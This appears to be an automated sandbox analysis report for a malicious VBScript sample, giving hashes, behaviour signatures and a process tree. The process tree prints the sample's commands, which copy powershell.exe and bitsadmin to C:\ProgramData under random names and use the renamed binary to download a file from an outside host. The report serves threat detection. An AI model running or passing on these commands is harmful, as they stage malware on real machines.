Analysis
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max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
12-07-2024 12:00
Static task
static1
Behavioral task
behavioral1
Sample
3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs
Resource
win7-20240705-en
General
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Target
3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs
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Size
8KB
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MD5
3d4bb59666eebb302bf85e56770fcc9e
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SHA1
4bba9bf6f71a569e3a18ec171124ac53533b0e6c
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SHA256
54d27b43113c9d787286ffdbc3b1aa6e417b2e2947da472a320f746e26b33f50
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SHA512
6a319d0d27bbbb9317741334abed9608261cb6ad8ecda6b05e31d51b21df19b4b5ec909fed3265cf45bba3e601f7caaabff8e17dfaa3254ccac35955a55b00a0
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SSDEEP
192:QUpzzCCi/CI5lhZjBQFwo0SacAOLT46UcoH0N85xq6iG:QU9CCi/NfhZjBQFwo0SacAOLT46UtHWI
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 2332 fiZjRWBin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2408 wrote to memory of 1440 2408 WScript.exe 30 PID 2408 wrote to memory of 1440 2408 WScript.exe 30 PID 2408 wrote to memory of 1440 2408 WScript.exe 30 PID 1440 wrote to memory of 1980 1440 cmd.exe 32 PID 1440 wrote to memory of 1980 1440 cmd.exe 32 PID 1440 wrote to memory of 1980 1440 cmd.exe 32 PID 1440 wrote to memory of 1436 1440 cmd.exe 33 PID 1440 wrote to memory of 1436 1440 cmd.exe 33 PID 1440 wrote to memory of 1436 1440 cmd.exe 33 PID 2408 wrote to memory of 2332 2408 WScript.exe 34 PID 2408 wrote to memory of 2332 2408 WScript.exe 34 PID 2408 wrote to memory of 2332 2408 WScript.exe 34 PID 2408 wrote to memory of 2332 2408 WScript.exe 34
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3d4bb59666eebb302bf85e56770fcc9e_JaffaCakes118.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2408 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aVPzWugV.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\fiZjRWB*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aVPzWugV.exe3⤵PID:1980
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\fiZjRWB*.exe3⤵PID:1436
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C:\ProgramData\fiZjRWBin.exe"C:\ProgramData\fiZjRWBin.exe" /wrap /transfer eDtcIRxb https://grandwyatt.com/picco/01616860936/xml.txt C:\ProgramData\xml.txt2⤵
- Executes dropped EXE
PID:2332
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51